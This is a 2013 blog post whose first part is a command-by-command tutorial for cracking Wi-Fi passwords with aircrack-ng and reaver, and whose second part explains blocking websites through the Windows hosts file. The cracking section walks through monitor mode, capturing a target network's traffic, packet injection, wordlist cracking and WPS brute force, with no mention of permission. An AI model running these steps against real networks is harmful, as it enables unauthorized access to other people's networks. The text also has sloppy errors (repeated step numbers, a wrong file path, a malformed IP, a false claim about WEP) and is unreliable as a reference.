Monday, 19 August 2013

Crack WIFI using Backtrack : aircrack-ng/reaver

 cracking using Aircrack-ng
---------------------------

1. ifconfig    // to check the wireless card

2. airmon-ng start wlan0   // to create the moniter mode here mon0

3. airodump-ng mon0       // to see the list of stations and their cHANNEL strength

4. airodump-ng -c [channel number] --bssid [bssid number of the channel] -w [file name to save transaction] mon0
or
airodump-ng mon0 --bssid [bssid number of the channel] -c [channel number] -w [file name to save transaction]

// we should restrict monitoring to a single channel to speed up data collection, otherwise the wireless card has     to alternate between all channels .You can restrict the capture by giving in the following commands

New terminal

5. aireplay-ng -1 0 -a [bssid number] mon0
        or              
 //Aireplay to Speed up the cracking (check atleast 25000 packets)
   aireplay-ng -1 3 -a [bssid number] mon0

new terminal
6. aireplay-ng 3 -b (bssid of target) -h ( address of your card (mon0)) (interface)

In my case i enter--  aireplay-ng 3 -b 98:fc:11:c9:14:22 -h 00:c0:ca:50:f8:32 mon0

7. aircrack-ng [file name-01.cap] -w wordlist.lst


cracking using reaver
---------------------

Step 4: type airmon-ng start wlan0

Step 5: type airodump-ng mon0
(you can see different types of network there like: WPA or WPA 2, this works for WEP and WPA/2 type. When youre done, press CTRL+C to stop.)

Step 4: type in the same application reaver -I mon0 -b (bssid) -vv
You don't need to wait for the data to go upto 25000. This will automatically crack the password when it gets to 100%.

After that, BINGO, you have successfully crack the WPA/2 password

Blocking Website : The Host File

Hey,
Friends I am going to say a trick to block a website without a software
Frist go to

C:\WINDOWS\system32\drivers\etc\host
Open this host file with Notepad there must be written

# Copyright (c) 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client h

127.0.0.1 localhost
----------------------------------------------------------------------------
suppose if u want to block yahoo
then you should write
127.0.0.1 localhost
127.0.0.1 yahoo.com

here goes mine list of block website
127.0.0.1 localhost
127.0.0.1 mail.yahoo.com
127.0.0.1 localhost
127.0.01 login.yahoo.com
Happy blocking